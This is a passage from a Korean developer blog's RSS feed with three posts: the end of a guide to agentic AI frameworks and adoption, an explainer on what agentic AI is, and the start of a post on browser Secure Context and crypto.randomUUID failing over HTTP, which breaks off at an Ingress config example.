    tasks&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;research_task&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; writing_task&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    verbose&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; crew&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;kickoff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;복잡한 워크플로우&lt;/strong&gt;를 세밀하게 제어하고 싶다면 → &lt;strong&gt;LangGraph&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;상태 그래프로 에이전트의 실행 흐름을 명시적으로 설계 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;프로덕션 안전성&lt;/strong&gt;이 최우선이라면 → &lt;strong&gt;Claude Agent SDK&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;가드레일, 핸드오프, 입출력 검증이 프레임워크 레벨에서 내장&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;🗺️ 실전 도입 로드맵 — 4단계 접근법&lt;/h2&gt;
&lt;p&gt;Agentic AI를 우리 조직에 도입한다면, 저는 이 순서를 추천합니다.&lt;/p&gt;
&lt;h3&gt;Phase 1: 단일 에이전트로 시작 (1~2주)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;가장 반복적이고 시간이 많이 드는 업무 1개를 선정&lt;/li&gt;
&lt;li&gt;단일 에이전트 + 2~3개 도구로 자동화&lt;/li&gt;
&lt;li&gt;예시: 일일 리포트 생성, 코드 리뷰 자동화, 고객 문의 분류&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Phase 2: 도구 확장 및 평가 체계 구축 (2~4주)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;에이전트가 사용할 수 있는 도구(API, DB, 파일 시스템 등) 확장&lt;/li&gt;
&lt;li&gt;성공 기준 정의 및 자동 평가 파이프라인 구축&lt;/li&gt;
&lt;li&gt;비용 모니터링 시작&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Phase 3: 멀티 에이전트 아키텍처 (1~2개월)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;역할별 전문 에이전트 분리&lt;/li&gt;
&lt;li&gt;오케스트레이터 에이전트 도입&lt;/li&gt;
&lt;li&gt;에이전트 간 핸드오프 및 에러 처리 설계&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Phase 4: 거버넌스 및 스케일링 (지속)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;감사 로그, 권한 관리, 비용 최적화&lt;/li&gt;
&lt;li&gt;비개발자도 에이전트를 만들 수 있는 내부 플랫폼 구축&lt;/li&gt;
&lt;li&gt;조직 전체로 확산&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;⚠️ 도입 시 주의할 3가지&lt;/h2&gt;
&lt;h3&gt;1. &quot;만능 에이전트&quot; 함정을 피하세요&lt;/h3&gt;
&lt;p&gt;하나의 에이전트에 모든 기능을 넣으려는 유혹은 강합니다. 하지만 실전에서는 &lt;strong&gt;역할이 명확한 작은 에이전트 여러 개&lt;/strong&gt;가 훨씬 안정적입니다.&lt;/p&gt;
&lt;h3&gt;2. Human-in-the-loop을 설계하세요&lt;/h3&gt;
&lt;p&gt;완전 자율이 아니라, &lt;strong&gt;중요한 의사결정 지점에 사람이 확인하는 단계&lt;/strong&gt;를 넣어야 합니다. 특히 금융, 의료, 법률 분야에서는 필수입니다.&lt;/p&gt;
&lt;h3&gt;3. 비용을 과소평가하지 마세요&lt;/h3&gt;
&lt;p&gt;에이전트는 반복적으로 LLM을 호출합니다. &lt;strong&gt;멀티 에이전트 시스템에서 토큰 사용량은 기하급수적으로 늘어날 수 있습니다.&lt;/strong&gt; 캐싱, 작은 모델 혼용, 호출 최소화 전략이 반드시 필요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🏭 산업별 Agentic AI 도입 현황&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;산업&lt;/th&gt;
&lt;th&gt;도입률&lt;/th&gt;
&lt;th&gt;주요 활용 사례&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;통신&lt;/td&gt;
&lt;td&gt;48%&lt;/td&gt;
&lt;td&gt;네트워크 모니터링, 고객 서비스 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;리테일/CPG&lt;/td&gt;
&lt;td&gt;47%&lt;/td&gt;
&lt;td&gt;재고 관리, 개인화 추천, 가격 최적화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;헬스케어&lt;/td&gt;
&lt;td&gt;급성장&lt;/td&gt;
&lt;td&gt;임상 문서 자동화, 약물 상호작용 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;금융&lt;/td&gt;
&lt;td&gt;확대 중&lt;/td&gt;
&lt;td&gt;사기 탐지, 리스크 분석, 규제 준수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;제조&lt;/td&gt;
&lt;td&gt;도입 초기&lt;/td&gt;
&lt;td&gt;품질 검사 자동화, 공급망 최적화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;❓ FAQ — 자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;Q. Agentic AI와 기존 RPA(로봇 프로세스 자동화)는 뭐가 다른가요?&lt;/h3&gt;
&lt;p&gt;RPA는 &lt;strong&gt;정해진 규칙에 따라 반복 작업을 수행&lt;/strong&gt;하는 자동화입니다. 예외 상황이 발생하면 멈춥니다. 반면 Agentic AI는 &lt;strong&gt;상황을 이해하고 스스로 판단하여 대응&lt;/strong&gt;합니다. 비유하자면 RPA는 &quot;매뉴얼대로 일하는 직원&quot;, Agentic AI는 &quot;상황 판단이 가능한 경력 직원&quot;입니다.&lt;/p&gt;
&lt;h3&gt;Q. Agentic AI 도입에 필요한 최소 기술 스택은?&lt;/h3&gt;
&lt;p&gt;LLM API(OpenAI, Claude 등) + 에이전트 프레임워크(CrewAI, LangGraph 등) + 벡터 DB(선택) + 모니터링 도구 정도면 시작할 수 있습니다. 클라우드 인프라는 기존에 쓰고 있는 것을 활용하면 됩니다.&lt;/p&gt;
&lt;h3&gt;Q. 소규모 팀도 Agentic AI를 도입할 수 있나요?&lt;/h3&gt;
&lt;p&gt;물론입니다. 오히려 &lt;strong&gt;소규모 팀이 Agentic AI의 가장 큰 수혜자&lt;/strong&gt;입니다. 사람이 부족한 영역을 에이전트가 보완해주기 때문입니다. CrewAI나 Claude Agent SDK처럼 진입 장벽이 낮은 프레임워크부터 시작해보세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;2026년, Agentic AI는 더 이상 미래 기술이 아닙니다. Gartner가 예측한 대로 엔터프라이즈 앱의 40%가 AI 에이전트를 탑재하는 시대가 이미 시작됐습니다.&lt;/p&gt;
&lt;p&gt;중요한 것은 &lt;strong&gt;완벽한 시스템을 처음부터 만들려 하지 않는 것&lt;/strong&gt;입니다. 작은 단일 에이전트로 시작해서, 검증하고, 점진적으로 확장하세요.&lt;/p&gt;
&lt;p&gt;다음 포스팅에서는 실제로 CrewAI를 활용해 멀티 에이전트 시스템을 구축하는 실습을 다뤄볼 예정입니다.&lt;/p&gt;
&lt;p&gt;여러분은 Agentic AI, 어디까지 경험해보셨나요? 댓글로 공유해주세요!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;참고 자료:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025&quot;&gt;Gartner: 2026년까지 엔터프라이즈 앱 40%가 AI 에이전트 탑재 전망&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://onereach.ai/blog/agentic-ai-adoption-rates-roi-market-trends/&quot;&gt;Agentic AI Stats 2026: Adoption Rates, ROI, &amp;#x26; Market Trends&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://machinelearningmastery.com/7-agentic-ai-trends-to-watch-in-2026/&quot;&gt;7 Agentic AI Trends to Watch in 2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mitsloan.mit.edu/ideas-made-to-matter/agentic-ai-explained&quot;&gt;Agentic AI, explained — MIT Sloan&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.instaclustr.com/education/agentic-ai/agentic-ai-frameworks-top-10-options-in-2026/&quot;&gt;Agentic AI Frameworks: Top 10 Options in 2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ibm.com/think/news/ai-tech-trends-predictions-2026&quot;&gt;IBM: AI &amp;#x26; Tech Trends 2026&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Agentic AI (에이전틱 AI)란 무엇인가? — 생성형 AI를 넘어 '행동하는 AI'의 시대로]]></title><description><![CDATA[Agentic AI(에이전틱 AI) 개념 커버 이미지 — 행동하는 AI의 4가지 핵심 요소 안녕하세요, 자바파커입니다. 최근 AI 기술의 흐름이 단순한 텍스트나 이미지 생성을 넘어, 스스로 생각하고 직접 행동하는 Agentic AI(에이전틱 AI…]]></description><link>https://blog.javapark.kr/agentic-ai/</link><guid isPermaLink="false">https://blog.javapark.kr/agentic-ai/</guid><pubDate>Thu, 16 Apr 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/agentic-ai-guide.png&quot; alt=&quot;Agentic AI(에이전틱 AI) 개념 커버 이미지 — 행동하는 AI의 4가지 핵심 요소&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;최근 AI 기술의 흐름이 단순한 텍스트나 이미지 생성을 넘어, 스스로 생각하고 직접 행동하는 &lt;strong&gt;Agentic AI(에이전틱 AI)&lt;/strong&gt; 로 빠르게 진화하고 있습니다.&lt;/p&gt;
&lt;p&gt;이번 포스트에서는 Agentic AI가 도대체 무엇인지, 우리가 흔히 아는 챗GPT 같은 기존 AI 시스템과 어떻게 다른지, 그리고 개발자 생태계에 어떤 근본적인 변화를 가져오고 있는지 알아보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;📌 Agentic AI란 무엇인가요?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Agentic AI(에이전틱 AI)&lt;/strong&gt; 는 사용자의 프롬프트에 단순히 대답만 하는 것을 넘어, &lt;strong&gt;주어진 목표를 달성하기 위해 스스로 계획(Planning)하고, 도구(Tools)를 사용하며, 환경과 상호작용하여 자율적으로 작업을 수행하는 AI 시스템&lt;/strong&gt;을 말합니다.&lt;/p&gt;
&lt;p&gt;쉽게 비유하자면, 기존의 AI가 &quot;답을 알려주는 똑똑한 백과사전이나 검색엔진&quot;이었다면, Agentic AI는 &quot;목표를 던져주면 알아서 판단하고 메일을 보내거나 코드를 수정하는 디지털 동료(Agent)&quot;에 가깝습니다.&lt;/p&gt;
&lt;h3&gt;🔑 Agentic AI의 4가지 핵심 요소&lt;/h3&gt;
&lt;p&gt;이러한 주도적인 동작을 가능하게 만드는 데는 크게 4가지 컴포넌트가 필요합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;지시 이해 및 목표 설정 (Goal Definition)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&quot;이 버튼 색상을 파란색으로 바꾸고, 관련된 테스트 코드를 작성한 뒤 PR을 올려줘&quot; 같은 크고 모호한 작업을 이해하고, 이를 달성하기 위해 필요한 구체적인 서브 태스크들로 세분화합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;계획 및 추론 (Planning &amp;#x26; Reasoning)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;목표 달성을 위한 작업 순서를 스스로 계획합니다. 특히, 실행 중에 오류가 발생하면 원인을 추론하고 기존 계획을 수정하는 반성(Self-reflection) 과정을 거칩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;도구 활용 및 실행 (Tool Use &amp;#x26; Action)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;인터넷 검색, 터미널 명령 실행, 웹 브라우저 제어, API 호출, 파일 시스템 읽기/쓰기 등 다양한 외부 도구(Tools)를 능동적으로 활용해 물리적이거나 디지털적인 액션을 수행합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;기억 (Memory)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;단기 기억(현재 진행 중인 작업의 컨텍스트)과 장기 기억(과거의 경험, 사용자의 작업 선호도 등)을 활용하여 일관되고 발전된 결과를 도출합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;🆚 Generative AI vs Agentic AI&lt;/h2&gt;
&lt;p&gt;Agentic AI의 차별점은 기존 LLM 기반의 Generative AI와 비교해보면 명확해집니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;특징&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Generative AI (기존 LLM)&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Agentic AI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;작동 방식&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;수동적 (Passive) - 질문에만 답함&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;능동적, 자율적 (Active, Autonomous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;상호작용&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;단일 턴 (Single-turn) 응답 중심&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;다중 턴 (Multi-step) 작업 중심&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;결과물&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;텍스트, 이미지, 단순 코드 조각 생성&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;실질적이고 독립적인 워크플로우 완료 (예: PR 생성)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;오류 처리&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;틀리면 인간이 프롬프트를 다시 입력해야 함&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;스스로 오류를 인지하고 디버깅하여 해결 재시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;도구 개입&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;제한적인 플러그인 의존 또는 없음&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;파일 시스템, 터미널, 브라우저 등 광범위한 직접 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Generative AI 시대의 목표가 &quot;AI와 대화를 잘하는 것(프롬프트 엔지니어링)&quot;이었다면, Agentic AI 시대의 핵심은 &quot;AI에게 일을 잘 위임하는 것&quot;으로 바뀌고 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;💻 개발자 플랫폼과 생태계의 변화 사례&lt;/h2&gt;
&lt;p&gt;Agentic AI는 이미 소프트웨어 엔지니어링의 패러다임을 혁신적으로 바꾸고 있습니다. 대표적인 사례를 몇 가지 살펴보겠습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;자율 코딩 에이전트 (Autonomous Coding Agents)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;GitHub 이슈 링크나 짧은 요구사항만 주면, 에이전트가 코드 베이스 전체를 분석하고, 로직을 수정하며, 유닛 테스트를 실행하고, Git 커밋부터 최종 Pull Request까지 스스로 올립니다. (예: Devin, Claude Code 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동화된 QA 및 버그 헌팅&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;단순한 정적 분석기를 넘어 CI/CD 파이프라인과 통합됩니다. 코드가 푸시되면 에이전트가 브라우저를 열어 통합 테스트를 수행하고, 버그 발견 시 직접 픽스 코드를 제안하거나 적용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;클라우드 인프라 / 데브옵스 복구 자동화&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;서버 장애 발생 시 사람이 알럿을 보고 로그를 대조하던 프로세스가 자동화됩니다. 에이전트가 로그를 파싱해 원인을 찾고, 시스템 복구 스크립트를 스스로 실행하여 서비스를 정상화한 뒤 슬랙으로 보고합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;데이터 분석 및 리서치&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;여러 웹페이지를 크롤링하고 수집한 데이터를 분석하여 인사이트를 도출한 후, 잘 정리된 마크다운 보고서로 작성하여 로컬 디렉토리에 저장해냅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;🚀 왜 지금 &apos;에이전틱 AI&apos;에 주목해야 할까요?&lt;/h2&gt;
&lt;p&gt;그동안 AI 업계는 모델 파라미터 크기 증가에 기반한 성능 향상(Scaling Law)에 크게 의존했습니다. 그러나 점차 한계 효용에 직면하면서, 모델 그 자체보다는 이 모델을 &lt;strong&gt;&apos;어떻게 활용할 것인가&apos;&lt;/strong&gt; 에 집중하기 시작했습니다.&lt;/p&gt;
&lt;p&gt;이 과정에서 에이전트가 제공하는 &lt;strong&gt;&apos;추론 시간 확장(Inference-time compute)&apos;&lt;/strong&gt; 개념은 복잡한 문제를 푸는 가장 현실적이고 강력한 돌파구로 부상했습니다. 모델이 학습 시 한 번에 똑똑해지기 어렵다면, 작업 내내 스스로 계획하고-수정하고-검증하는 사이클을 반복하게 만드는 것입니다.&lt;/p&gt;
&lt;p&gt;앞으로 개발자의 역할은 &quot;AI가 만들어준 코드를 복사해서 붙여넣는 프로그래머&quot;에서, 여러 AI 에이전트 시스템을 설계하고 감독(Supervision)하며 &lt;strong&gt;이들이 올바른 방향으로 협업하도록 이끄는 &apos;오케스트레이터&apos; 혹 매니저&lt;/strong&gt; 로 진화할 것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;💡 결론&lt;/h2&gt;
&lt;p&gt;Agentic AI는 단순한 마케팅 유행어가 아닌, AI 발전의 피할 수 없는 &apos;다음 단계(Next Phase)&apos;입니다.&lt;/p&gt;
&lt;p&gt;개발자라면 이제는 단일 프롬프트를 깎는 노력에서 나아가, MCP(Model Context Protocol) 같은 최신 에이전트 인프라와 LangGraph, AutoGen 등의 프레임워크가 어떻게 작동하는지 이해하고, 이를 자신의 프로젝트나 조직의 워크플로우에 어떻게 통합할지 진지하게 고민해야 할 시점입니다.&lt;/p&gt;
&lt;p&gt;여러분은 에이전틱 AI를 활용해 어떤 반복 업무를 자동화해보고 싶으신가요? 댓글로 다양한 아이디어를 공유해주세요! 🛠️✨&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Secure Context 완전 정리 — HTTP에서 crypto.randomUUID가 안 되는 이유와 해결법]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "분명 로컬에서는 잘 되는데, 개발서버에 올리니까  에러가 나요." 저도 최근에 정확히 이 상황을 겪었습니다. 로컬(localhost)에서는 멀쩡하게 동작하던 코드가 내부 IP…]]></description><link>https://blog.javapark.kr/secure-context-http-https/</link><guid isPermaLink="false">https://blog.javapark.kr/secure-context-http-https/</guid><pubDate>Mon, 06 Apr 2026 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;분명 로컬에서는 잘 되는데, 개발서버에 올리니까 &lt;code class=&quot;language-text&quot;&gt;crypto.randomUUID is not a function&lt;/code&gt; 에러가 나요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;저도 최근에 정확히 이 상황을 겪었습니다. 로컬(localhost)에서는 멀쩡하게 동작하던 코드가 내부 IP로 접속하는 개발서버에서만 터지는 거죠. 원인은 단순합니다 — &lt;strong&gt;Secure Context&lt;/strong&gt; 때문입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;HTTP 환경에서는 브라우저가 일부 Web API를 아예 차단합니다.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;crypto.randomUUID()&lt;/code&gt;도 그 중 하나이고, 이것 말고도 꽤 많습니다. 오늘은 Secure Context가 뭔지, 어떤 API가 영향을 받는지, 그리고 어떻게 해결하는지 정리하겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Secure Context란?&lt;/h2&gt;
&lt;p&gt;Secure Context는 브라우저가 &lt;strong&gt;&quot;이 환경은 보안이 보장된다&quot;고 판단하는 실행 컨텍스트&lt;/strong&gt;입니다. 쉽게 말하면, 브라우저가 &quot;여기서는 민감한 API를 써도 안전하다&quot;고 허용하는 조건이라고 보면 됩니다.&lt;/p&gt;
&lt;p&gt;핵심 판단 기준은 단 하나 — &lt;strong&gt;HTTPS로 서비스되고 있는가?&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;HTTP vs HTTPS — 환경별 Secure Context 동작 차이&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;환경&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Secure Context&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;crypto.randomUUID()&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;https://...&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;http://localhost&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ (브라우저 예외 허용)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;http://127.0.0.1&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ (브라우저 예외 허용)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;http://192.168.x.x&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ TypeError&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;http://개발서버도메인&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ TypeError&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;여기서 함정이 있습니다. &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;localhost&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;127.0.0.1&lt;/code&gt;은 HTTP여도 Secure Context로 인정됩니다.&lt;/strong&gt; 브라우저가 로컬 개발 편의를 위해 예외를 두고 있기 때문입니다.&lt;/p&gt;
&lt;p&gt;그래서 로컬에서는 문제없이 동작하다가, 내부 IP(&lt;code class=&quot;language-text&quot;&gt;192.168.x.x&lt;/code&gt;)나 HTTP 도메인으로 서비스하는 개발서버에 배포하는 순간 터지는 겁니다. &quot;제 PC에서는 되는데요?&quot;의 전형적인 원인 중 하나입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Secure Context 전용 Web API 목록 — crypto.randomUUID만 있는 게 아닙니다&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;crypto.randomUUID()&lt;/code&gt; 외에도 HTTP 환경에서 차단되는 API가 꽤 많습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;HTTP에서&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;crypto.randomUUID()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;UUID 생성&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;crypto.subtle.*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;암호화 (AES, RSA 등)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;navigator.geolocation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;위치 정보&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;navigator.mediaDevices&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;카메라 / 마이크&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;navigator.clipboard&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;클립보드 읽기 / 쓰기&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ServiceWorker&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;PWA, 오프라인 캐시&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;WebAuthn&lt;/code&gt; (FIDO2)&lt;/td&gt;
&lt;td&gt;생체 인증&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 목록을 보면 알 수 있듯이, 하나의 API에서 문제가 발생했다면 &lt;strong&gt;다른 API에서도 같은 문제가 터질 가능성이 높습니다.&lt;/strong&gt; 하나씩 고치기보다는 근본적인 원인을 해결하는 게 맞습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;해결 방법 3가지&lt;/h2&gt;
&lt;h3&gt;방법 1. 개발서버 HTTPS 적용 (권장)&lt;/h3&gt;
&lt;p&gt;가장 근본적인 해결책입니다. HTTPS를 적용하면 모든 Secure Context API 문제가 한 번에 해결됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Kubernetes Ingress 예시&lt;/span&gt;
